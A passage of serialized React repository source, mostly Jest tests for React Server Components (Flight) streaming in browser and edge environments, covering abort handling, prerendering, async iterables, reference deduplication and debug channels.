},\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        s,\n        {},\n        {\n          signal: abortController.signal,\n          onError(x) {\n            errors.push(x);\n            return x.message;\n          },\n        },\n      ),\n    );\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      passThrough(rscStream),\n    );\n    const reader = result.getReader();\n\n    controller.enqueue('hi');\n\n    await 0;\n\n    const reason = new Error('aborted');\n    abortController.abort(reason);\n\n    // We should be able to read the part we already emitted before the abort\n    expect(await reader.read()).toEqual({\n      value: 'hi',\n      done: false,\n    });\n\n    expect(cancelReason).toBe(reason);\n\n    let error = null;\n    try {\n      await reader.read();\n    } catch (x) {\n      error = x;\n    }\n    expect(error.digest).toBe('aborted');\n    expect(errors).toEqual([reason]);\n  });\n\n  it('should supports streaming AsyncIterables with objects', async () => {\n    let resolve;\n    const wait = new Promise(r => (resolve = r));\n    const errors = [];\n    const multiShotIterable = {\n      async *[Symbol.asyncIterator]() {\n        const next = yield {hello: 'A'};\n        expect(next).toBe(undefined);\n        await wait;\n        yield {hi: 'B'};\n        return 'C';\n      },\n    };\n    const singleShotIterator = (async function* () {\n      const next = yield {hello: 'D'};\n      expect(next).toBe(undefined);\n      await wait;\n      yield {hi: 'E'};\n      // eslint-disable-next-line no-throw-literal\n      throw 'F';\n    })();\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        {\n          multiShotIterable,\n          singleShotIterator,\n        },\n        {},\n        {\n          onError(x) {\n            errors.push(x);\n            return x;\n          },\n        },\n      ),\n    );\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      passThrough(rscStream),\n    );\n\n    const iterator1 = result.multiShotIterable[Symbol.asyncIterator]();\n    const iterator2 = result.singleShotIterator[Symbol.asyncIterator]();\n\n    expect(iterator1).not.toBe(result.multiShotIterable);\n    expect(iterator2).toBe(result.singleShotIterator);\n\n    expect(await iterator1.next()).toEqual({\n      value: {hello: 'A'},\n      done: false,\n    });\n    expect(await iterator2.next()).toEqual({\n      value: {hello: 'D'},\n      done: false,\n    });\n\n    await serverAct(() => {\n      resolve();\n    });\n\n    expect(await iterator1.next()).toEqual({\n      value: {hi: 'B'},\n      done: false,\n    });\n    expect(await iterator2.next()).toEqual({\n      value: {hi: 'E'},\n      done: false,\n    });\n    expect(await iterator1.next()).toEqual({\n      value: 'C', // Return value\n      done: true,\n    });\n    expect(await iterator1.next()).toEqual({\n      value: undefined,\n      done: true,\n    });\n\n    let error = null;\n    try {\n      await iterator2.next();\n    } catch (x) {\n      error = x;\n    }\n    expect(error.digest).toBe('F');\n    expect(errors).toEqual(['F']);\n\n    // Multi-shot iterables should be able to do the same thing again\n    const iterator3 = result.multiShotIterable[Symbol.asyncIterator]();\n\n    expect(iterator3).not.toBe(iterator1);\n\n    // We should be able to iterate over the iterable again and it should be\n    // synchronously available using instrumented promises so that React can\n    // rerender it synchronously.\n    expect(iterator3.next().value).toEqual({\n      value: {hello: 'A'},\n      done: false,\n    });\n    expect(iterator3.next().value).toEqual({\n      value: {hi: 'B'},\n      done: false,\n    });\n    expect(iterator3.next().value).toEqual({\n      value: 'C', // Return value\n      done: true,\n    });\n    expect(iterator3.next().value).toEqual({\n      value: undefined,\n      done: true,\n    });\n\n    expect(() => iterator3.next('this is not allowed')).toThrow(\n      'Values cannot be passed to next() of AsyncIterables passed to Client Components.',\n    );\n  });\n\n  it('should cancels the underlying AsyncIterable when we are cancelled', async () => {\n    let resolve;\n    const wait = new Promise(r => (resolve = r));\n    let thrownReason;\n    const iterator = (async function* () {\n      try {\n        await wait;\n        yield 'a';\n        yield 'b';\n      } catch (x) {\n        thrownReason = x;\n      }\n      yield 'c';\n    })();\n    let loggedReason;\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        iterator,\n        {},\n        {\n          onError(reason) {\n            loggedReason = reason;\n          },\n        },\n      ),\n    );\n\n    const reader = rscStream.getReader();\n\n    const reason = new Error('aborted');\n    reader.cancel(reason);\n    await resolve();\n    await reader.read();\n    expect(thrownReason).toBe(reason);\n    expect(loggedReason).toBe(reason);\n  });\n\n  it('should cancels the underlying AsyncIterable when we abort', async () => {\n    const errors = [];\n    const abortController = new AbortController();\n    let resolve;\n    const wait = new Promise(r => (resolve = r));\n    let thrownReason;\n    const iterator = (async function* () {\n      try {\n        yield 'a';\n        await wait;\n        yield 'b';\n      } catch (x) {\n        thrownReason = x;\n      }\n      yield 'c';\n    })();\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        iterator,\n        {},\n        {\n          signal: abortController.signal,\n          onError(x) {\n            errors.push(x);\n            return x.message;\n          },\n        },\n      ),\n    );\n    const result = await ReactServerDOMClient.createFromReadableStream(\n      passThrough(rscStream),\n    );\n\n    const reason = new Error('aborted');\n    abortController.abort(reason);\n\n    await serverAct(() => {\n      resolve();\n    });\n\n    // We should be able to read the part we already emitted before the abort\n    expect(await result.next()).toEqual({\n      value: 'a',\n      done: false,\n    });\n\n    expect(thrownReason).toBe(reason);\n\n    let error = null;\n    try {\n      await result.next();\n    } catch (x) {\n      error = x;\n    }\n    expect(error.digest).toBe('aborted');\n    expect(errors).toEqual([reason]);\n  });\n\n  it('can prerender', async () => {\n    let resolveGreeting;\n    const greetingPromise = new Promise(resolve => {\n      resolveGreeting = resolve;\n    });\n\n    function App() {\n      return (\n        <div>\n          <Greeting />\n        </div>\n      );\n    }\n\n    async function Greeting() {\n      await greetingPromise;\n      return 'hello world';\n    }\n\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          <App />,\n          webpackMap,\n        ),\n      };\n    });\n\n    resolveGreeting();\n    const {prelude} = await pendingResult;\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(\n      passThrough(prelude),\n    );\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n    expect(container.innerHTML).toBe('<div>hello world</div>');\n  });\n\n  it('does not propagate abort reasons errors when aborting a prerender', async () => {\n    let resolveGreeting;\n    const greetingPromise = new Promise(resolve => {\n      resolveGreeting = resolve;\n    });\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"loading...\">\n            <Greeting />\n          </Suspense>\n        </div>\n      );\n    }\n\n    async function Greeting() {\n      await greetingPromise;\n      return 'hello world';\n    }\n\n    const controller = new AbortController();\n    const errors = [];\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          <App />,\n          webpackMap,\n          {\n            signal: controller.signal,\n            onError(err) {\n              errors.push(err);\n            },\n          },\n        ),\n      };\n    });\n\n    controller.abort('boom');\n    resolveGreeting();\n    const {prelude} = await serverAct(() => pendingResult);\n    expect(errors).toEqual([]);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(\n      passThrough(prelude),\n    );\n    const container = document.createElement('div');\n    errors.length = 0;\n    const root = ReactDOMClient.createRoot(container, {\n      onUncaughtError(err) {\n        errors.push(err);\n      },\n    });\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(errors).toEqual([new Error('Connection closed.')]);\n    expect(container.innerHTML).toBe('');\n  });\n\n  it('renders Suspense fallback for unresolved promises with unstable_allowPartialStream', async () => {\n    let resolveGreeting;\n    const greetingPromise = new Promise(resolve => {\n      resolveGreeting = resolve;\n    });\n\n    function App() {\n      return (\n        <Suspense fallback=\"loading...\">\n          <Greeting />\n        </Suspense>\n      );\n    }\n\n    async function Greeting() {\n      const greeting = await greetingPromise;\n      return greeting;\n    }\n\n    const controller = new AbortController();\n    const {pendingResult} = await serverAct(async () => {\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          <App />,\n          webpackMap,\n          {\n            signal: controller.signal,\n          },\n        ),\n      };\n    });\n\n    controller.abort();\n    resolveGreeting('Hello, World!');\n    const {prelude} = await serverAct(() => pendingResult);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(\n      passThrough(prelude),\n      {\n        unstable_allowPartialStream: true,\n      },\n    );\n    const container = document.createElement('div');\n    const errors = [];\n    const root = ReactDOMClient.createRoot(container, {\n      onUncaughtError(err) {\n        errors.push(err);\n      },\n    });\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    // With `unstable_allowPartialStream`, we should see the fallback instead of a\n    // 'Connection closed.' error\n    expect(errors).toEqual([]);\n    expect(container.innerHTML).toBe('loading...');\n  });\n\n  it('renders client components that are blocked on chunks with unstable_allowPartialStream', async () => {\n    let resolveClientComponentChunk;\n\n    const ClientComponent = clientExports(\n      function ClientComponent({children}) {\n        return <div>{children}</div>;\n      },\n      '42',\n      '/test.js',\n      new Promise(resolve => (resolveClientComponentChunk = resolve)),\n    );\n\n    function App() {\n      return <ClientComponent>Hello, World!</ClientComponent>;\n    }\n\n    const controller = new AbortController();\n    const {pendingResult} = await serverAct(async () => {\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          <App />,\n          webpackMap,\n          {\n            signal: controller.signal,\n          },\n        ),\n      };\n    });\n\n    controller.abort();\n    const {prelude} = await serverAct(() => pendingResult);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(\n      passThrough(prelude),\n      {\n        unstable_allowPartialStream: true,\n      },\n    );\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('');\n\n    await act(() => {\n      resolveClientComponentChunk();\n    });\n\n    expect(container.innerHTML).toBe('<div>Hello, World!</div>');\n  });\n\n  it('closes inner ReadableStreams gracefully with unstable_allowPartialStream', async () => {\n    let streamController;\n    const innerStream = new ReadableStream({\n      start(c) {\n        streamController = c;\n      },\n    });\n\n    const abortController = new AbortController();\n    const {pendingResult} = await serverAct(async () => {\n      streamController.enqueue({hello: 'world'});\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          {stream: innerStream},\n          webpackMap,\n          {\n            signal: abortController.signal,\n          },\n        ),\n      };\n    });\n\n    abortController.abort();\n    const {prelude} = await serverAct(() => pendingResult);\n\n    const response = await ReactServerDOMClient.createFromReadableStream(\n      passThrough(prelude),\n      {\n        unstable_allowPartialStream: true,\n      },\n    );\n\n    // The inner stream should be readable up to what was enqueued.\n    const reader = response.stream.getReader();\n    const {value, done} = await reader.read();\n    expect(value).toEqual({hello: 'world'});\n    expect(done).toBe(false);\n\n    // The next read should signal the stream is done (closed, not errored).\n    const final = await reader.read();\n    expect(final.done).toBe(true);\n  });\n\n  it('can dedupe references inside promises', async () => {\n    const foo = {};\n    const bar = {\n      foo: foo,\n    };\n    foo.bar = bar;\n\n    const object = {\n      foo: Promise.resolve(foo),\n      bar: Promise.resolve(bar),\n    };\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(object, webpackMap),\n    );\n\n    const response = await ReactServerDOMClient.createFromReadableStream(\n      passThrough(stream),\n    );\n\n    const responseFoo = await response.foo;\n    const responseBar = await response.bar;\n    expect(responseFoo.bar).toBe(responseBar);\n    expect(responseBar.foo).toBe(responseFoo);\n  });\n\n  it('can deduped outlined references inside promises', async () => {\n    const foo = {};\n    const bar = new Set([foo]); // This will be outlined which can create a future reference\n    foo.bar = bar;\n\n    const object = {\n      foo: Promise.resolve(foo),\n      bar: Promise.resolve(bar),\n    };\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(object, webpackMap),\n    );\n\n    const response = await ReactServerDOMClient.createFromReadableStream(\n      passThrough(stream),\n    );\n\n    const responseFoo = await response.foo;\n    const responseBar = await response.bar;\n    expect(responseFoo.bar).toBe(responseBar);\n    expect(Array.from(responseBar)[0]).toBe(responseFoo);\n  });\n\n  it('should resolve deduped references in maps used in client component props', async () => {\n    const ClientComponent = clientExports(function ClientComponent({\n      shared,\n      map,\n    }) {\n      expect(map.get(42)).toBe(shared);\n      return JSON.stringify({shared, map: Array.from(map)});\n    });\n\n    function Server() {\n      const shared = {id: 42};\n      const map = new Map([[42, shared]]);\n\n      return <ClientComponent shared={shared} map={map} />;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Server />, webpackMap),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe(\n      '{\"shared\":{\"id\":42},\"map\":[[42,{\"id\":42}]]}',\n    );\n  });\n\n  it('should resolve a cycle between debug info and the value it produces', async () => {\n    function Inner({style}) {\n      return <div style={style} />;\n    }\n\n    function Component({style}) {\n      return <Inner style={style} />;\n    }\n\n    const style = {};\n    const element = <Component style={style} />;\n    style.element = element;\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(element, webpackMap),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream);\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('<div></div>');\n  });\n\n  it('does not close the response early when using a fast debug channel', async () => {\n    function Component() {\n      return <div>Hi</div>;\n    }\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<Component />, webpackMap, {\n        debugChannel: {\n          writable: new WritableStream({\n            write(chunk) {\n              debugReadableStreamController.enqueue(chunk);\n            },\n            close() {\n              debugReadableStreamController.close();\n            },\n          }),\n        },\n      }),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(\n      // Create a delayed stream to simulate that the RSC stream might be\n      // transported slower than the debug channel, which must not lead to a\n      // `Connection closed` error in the Flight client.\n      createDelayedStream(rscStream),\n      {\n        debugChannel: {readable: debugReadableStream},\n      },\n    );\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('<div>Hi</div>');\n  });\n\n  it('can transport debug info through a dedicated debug channel', async () => {\n    let ownerStack;\n\n    const ClientComponent = clientExports(() => {\n      ownerStack = React.captureOwnerStack ? React.captureOwnerStack() : null;\n      return <p>Hi</p>;\n    });\n\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Suspense,\n        null,\n        ReactServer.createElement(ClientComponent, null),\n      );\n    }\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        ReactServer.createElement(App, null),\n        webpackMap,\n        {\n          debugChannel: {\n            writable: new WritableStream({\n              write(chunk) {\n                debugReadableStreamController.enqueue(chunk);\n              },\n              close() {\n                debugReadableStreamController.close();\n              },\n            }),\n          },\n        },\n      ),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      replayConsoleLogs: true,\n      debugChannel: {\n        readable: debugReadableStream,\n        // Explicitly not defining a writable side here. Its presence was\n        // previously used as a condition to wait for referenced debug chunks.\n      },\n    });\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    if (__DEV__) {\n      expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n    }\n\n    expect(container.innerHTML).toBe('<p>Hi</p>');\n  });\n\n  it('should not have missing key warnings when a static child is blocked on debug info', async () => {\n    const ClientComponent = clientExports(function ClientComponent({element}) {\n      return (\n        <div>\n          <span>Hi</span>\n          {element}\n        </div>\n      );\n    });\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        <ClientComponent element={<span>Sebbie</span>} />,\n        webpackMap,\n        {\n          debugChannel: {\n            writable: new WritableStream({\n              write(chunk) {\n                debugReadableStreamController.enqueue(chunk);\n              },\n              close() {\n                debugReadableStreamController.close();\n              },\n            }),\n          },\n        },\n      ),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      debugChannel: {readable: createDelayedStream(debugReadableStream)},\n    });\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    // Wait for the debug info to be processed.\n    await act(() => {});\n\n    expect(container.innerHTML).toBe(\n      '<div><span>Hi</span><span>Sebbie</span></div>',\n    );\n  });\n\n  it('should fully resolve debug info when transported through a (slow) debug channel', async () => {\n    function Paragraph({children}) {\n      return ReactServer.createElement('p', null, children);\n    }\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const app = ReactServer.createElement(\n      ReactServer.Fragment,\n      null,\n      ReactServer.createElement(Paragraph, null, 'foo'),\n      ReactServer.createElement(Paragraph, null, 'bar'),\n    );\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        {\n          root: app,\n        },\n        webpackMap,\n        {\n          debugChannel: {\n            writable: new WritableStream({\n              write(chunk) {\n                debugReadableStreamController.enqueue(chunk);\n              },\n              close() {\n                debugReadableStreamController.close();\n              },\n            }),\n          },\n        },\n      ),\n    );\n\n    function ClientRoot({response}) {\n      const {root} = use(response);\n      return root;\n    }\n\n    const [slowDebugStream1, slowDebugStream2] =\n      createDelayedStream(debugReadableStream).tee();\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      debugChannel: {readable: slowDebugStream1},\n    });\n\n    const container = document.createElement('div');\n    const clientRoot = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      clientRoot.render(<ClientRoot response={response} />);\n    });\n\n    if (__DEV__) {\n      const debugStreamReader = slowDebugStream2.getReader();\n      while (true) {\n        const {done} = await debugStreamReader.read();\n        if (done) {\n          break;\n        }\n        // Allow the client to process each debug chunk as it arrives.\n        await act(() => {});\n      }\n    }\n\n    expect(container.innerHTML).toBe('<p>foo</p><p>bar</p>');\n\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      const result = await response;\n      const firstParagraph = result.root[0];\n\n      expect(getDebugInfo(firstParagraph)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Paragraph\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMBrowser-test.js\",\n                2989,\n                19,\n                2973,\n                89,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n        ]\n      `);\n    }\n  });\n\n  it('should resolve a cycle between debug info and the value it produces when using a debug channel', async () => {\n    // Same as `should resolve a cycle between debug info and the value it produces`, but using a debug channel.\n\n    function Inner({style}) {\n      return <div style={style} />;\n    }\n\n    function Component({style}) {\n      return <Inner style={style} />;\n    }\n\n    const style = {};\n    const element = <Component style={style} />;\n    style.element = element;\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(element, webpackMap, {\n        debugChannel: {\n          writable: new WritableStream({\n            write(chunk) {\n              debugReadableStreamController.enqueue(chunk);\n            },\n            close() {\n              debugReadableStreamController.close();\n            },\n          }),\n        },\n      }),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      debugChannel: {readable: debugReadableStream},\n    });\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<ClientRoot response={response} />);\n    });\n\n    expect(container.innerHTML).toBe('<div></div>');\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMEdge-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\n// Patch for Edge environments for global scope\nglobal.AsyncLocalStorage = require('async_hooks').AsyncLocalStorage;\n\nlet serverExports;\nlet clientExports;\nlet webpackMap;\nlet webpackServerMap;\nlet webpackModules;\nlet webpackModuleLoading;\nlet React;\nlet ReactServer;\nlet ReactDOMServer;\nlet ReactDOMFizzStatic;\nlet ReactServerDOMServer;\nlet ReactServerDOMStaticServer;\nlet ReactServerDOMClient;\nlet use;\nlet serverAct;\nlet assertConsoleErrorDev;\n\nfunction normalizeCodeLocInfo(str) {\n  return (\n    str &&\n    str.replace(/^ +(?:at|in) ([\\S]+)[^\\n]*/gm, function (m, name) {\n      return '    in ' + name + (/\\d/.test(m) ? ' (at **)' : '');\n    })\n  );\n}\n\nfunction normalizeSerializedContent(str) {\n  return str.replaceAll(__REACT_ROOT_PATH_TEST__, '**');\n}\n\ndescribe('ReactFlightDOMEdge', () => {\n  beforeEach(() => {\n    // Mock performance.now for timing tests\n    let time = 10;\n    const now = jest.fn().mockImplementation(() => {\n      return time++;\n    });\n    Object.defineProperty(performance, 'timeOrigin', {\n      value: time,\n      configurable: true,\n    });\n    Object.defineProperty(performance, 'now', {\n      value: now,\n      configurable: true,\n    });\n\n    jest.resetModules();\n\n    serverAct = require('internal-test-utils').serverAct;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    jest.mock('react-server-dom-webpack/server', () =>\n      require('react-server-dom-webpack/server.edge'),\n    );\n\n    const WebpackMock = require('./utils/WebpackMock');\n\n    serverExports = WebpackMock.serverExports;\n    clientExports = WebpackMock.clientExports;\n    webpackMap = WebpackMock.webpackMap;\n    webpackServerMap = WebpackMock.webpackServerMap;\n    webpackModules = WebpackMock.webpackModules;\n    webpackModuleLoading = WebpackMock.moduleLoading;\n\n    ReactServer = require('react');\n    ReactServerDOMServer = require('react-server-dom-webpack/server');\n    jest.mock('react-server-dom-webpack/static', () =>\n      require('react-server-dom-webpack/static.edge'),\n    );\n    ReactServerDOMStaticServer = require('react-server-dom-webpack/static');\n\n    jest.resetModules();\n    __unmockReact();\n    jest.unmock('react-server-dom-webpack/server');\n    jest.mock('react-server-dom-webpack/client', () =>\n      require('react-server-dom-webpack/client.edge'),\n    );\n    React = require('react');\n    ReactDOMServer = require('react-dom/server.edge');\n    ReactDOMFizzStatic = require('react-dom/static.edge');\n    ReactServerDOMClient = require('react-server-dom-webpack/client');\n    use = React.use;\n  });\n\n  function passThrough(stream) {\n    // Simulate more realistic network by splitting up and rejoining some chunks.\n    // This lets us test that we don't accidentally rely on particular bounds of the chunks.\n    return new ReadableStream({\n      async start(controller) {\n        const reader = stream.getReader();\n        let prevChunk = new Uint8Array(0);\n        function push() {\n          reader.read().then(({done, value}) => {\n            if (done) {\n              controller.enqueue(prevChunk);\n              prevChunk = new Uint8Array(0);\n              controller.close();\n              return;\n            }\n            const chunk = new Uint8Array(prevChunk.length + value.length);\n            chunk.set(prevChunk, 0);\n            chunk.set(value, prevChunk.length);\n            if (chunk.length > 50) {\n              // Copy the part we're keeping (prevChunk) to avoid buffer\n              // transfer. When we enqueue the partial chunk below, downstream\n              // consumers (like byte streams in the Flight Client) may detach\n              // the underlying buffer. Since prevChunk would share the same\n              // buffer, we copy it first so it has its own independent buffer.\n              // TODO: Should we just use {type: 'bytes'} for this stream to\n              // always transfer ownership, and not only \"accidentally\" when we\n              // enqueue in the Flight Client?\n              prevChunk = chunk.slice(chunk.length - 50);\n              controller.enqueue(chunk.subarray(0, chunk.length - 50));\n            } else {\n              // Wait to see if we get some more bytes to join in.\n              prevChunk = chunk;\n              // Flush if we don't get any more.\n              (async function flushAfterAFewTasks() {\n                for (let i = 0; i < 10; i++) {\n                  await i;\n                }\n                if (prevChunk.byteLength > 0) {\n                  controller.enqueue(prevChunk);\n                }\n                prevChunk = new Uint8Array(0);\n              })();\n            }\n            push();\n          });\n        }\n        push();\n      },\n    });\n  }\n\n  function dripStream(input) {\n    const reader = input.getReader();\n    let nextDrop = 0;\n    let controller = null;\n    let streamDone = false;\n    const buffer = [];\n    function flush() {\n      if (controller === null || nextDrop === 0) {\n        return;\n      }\n      while (buffer.length > 0 && nextDrop > 0) {\n        const nextChunk = buffer[0];\n        if (nextChunk.byteLength <= nextDrop) {\n          nextDrop -= nextChunk.byteLength;\n          controller.enqueue(nextChunk);\n          buffer.shift();\n          if (streamDone && buffer.length === 0) {\n            controller.done();\n          }\n        } else {\n          controller.enqueue(nextChunk.subarray(0, nextDrop));\n          buffer[0] = nextChunk.subarray(nextDrop);\n          nextDrop = 0;\n        }\n      }\n    }\n    const output = new ReadableStream({\n      start(c) {\n        controller = c;\n        async function pump() {\n          for (;;) {\n            const {value, done} = await reader.read();\n            if (done) {\n              streamDone = true;\n              break;\n            }\n            buffer.push(value);\n            flush();\n          }\n        }\n        pump();\n      },\n      pull() {},\n      cancel(reason) {\n        reader.cancel(reason);\n      },\n    });\n    function drip(n) {\n      nextDrop += n;\n      flush();\n    }\n\n    return [output, drip];\n  }\n\n  async function readResult(stream) {\n    const reader = stream.getReader();\n    let result = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        return result;\n      }\n      result += Buffer.from(value).toString('utf8');\n    }\n  }\n\n  async function readByteLength(stream) {\n    const reader = stream.getReader();\n    let length = 0;\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        return length;\n      }\n      length += value.byteLength;\n    }\n  }\n\n  async function createBufferedUnclosingStream(\n    stream: ReadableStream<Uint8Array>,\n  ): Promise<ReadableStream<Uint8Array>> {\n    const chunks: Array<Uint8Array> = [];\n    const reader = stream.getReader();\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        break;\n      } else {\n        chunks.push(value);\n      }\n    }\n\n    let i = 0;\n    return new ReadableStream({\n      async pull(controller) {\n        if (i < chunks.length) {\n          controller.enqueue(chunks[i++]);\n        }\n      },\n    });\n  }\n\n  function createDelayedStream(\n    stream: ReadableStream<Uint8Array>,\n  ): ReadableStream<Uint8Array> {\n    return new ReadableStream({\n      async start(controller) {\n        const reader = stream.getReader();\n        while (true) {\n          const {done, value} = await reader.read();\n          if (done) {\n            controller.close();\n          } else {\n            // Artificially delay between enqueuing chunks.\n            await new Promise(resolve => setTimeout(resolve));\n            controller.enqueue(value);\n          }\n        }\n      },\n    });\n  }\n\n  it('should allow an alternative module mapping to be used for SSR', async () => {\n    function ClientComponent() {\n      return <span>Client Component</span>;\n    }\n    // The Client build may not have the same IDs as the Server bundles for the same\n    // component.\n    const ClientComponentOnTheClient = clientExports(ClientComponent);\n    const ClientComponentOnTheServer = clientExports(ClientComponent);\n\n    // In the SSR bundle this module won't exist. We simulate this by deleting it.\n    const clientId = webpackMap[ClientComponentOnTheClient.$$id].id;\n    delete webpackModules[clientId];\n\n    // Instead, we have to provide a translation from the client meta data to the SSR\n    // meta data.\n    const ssrMetadata = webpackMap[ClientComponentOnTheServer.$$id];\n    const translationMap = {\n      [clientId]: {\n        '*': ssrMetadata,\n      },\n    };\n\n    function App() {\n      return <ClientComponentOnTheClient />;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<App />, webpackMap),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: translationMap,\n        moduleLoading: webpackModuleLoading,\n      },\n    });\n\n    function ClientRoot() {\n      return use(response);\n    }\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<ClientRoot />),\n    );\n    const result = await readResult(ssrStream);\n    expect(result).toEqual('<span>Client Component</span>');\n  });\n\n  it('should resolve cyclic references in client component props after two rounds of serialization and deserialization', async () => {\n    const ClientComponent = clientExports(function ClientComponent({data}) {\n      return (\n        <div>{data.self === data ? 'Cycle resolved' : 'Cycle broken'}</div>\n      );\n    });\n    const clientModuleMetadata = webpackMap[ClientComponent.$$id];\n    const consumerModuleId = 'consumer-' + clientModuleMetadata.id;\n    const clientReference = Object.defineProperties(ClientComponent, {\n      $$typeof: {value: Symbol.for('react.client.reference')},\n      $$id: {value: ClientComponent.$$id},\n    });\n    webpackModules[consumerModuleId] = clientReference;\n\n    const cyclic = {self: null};\n    cyclic.self = cyclic;\n\n    const 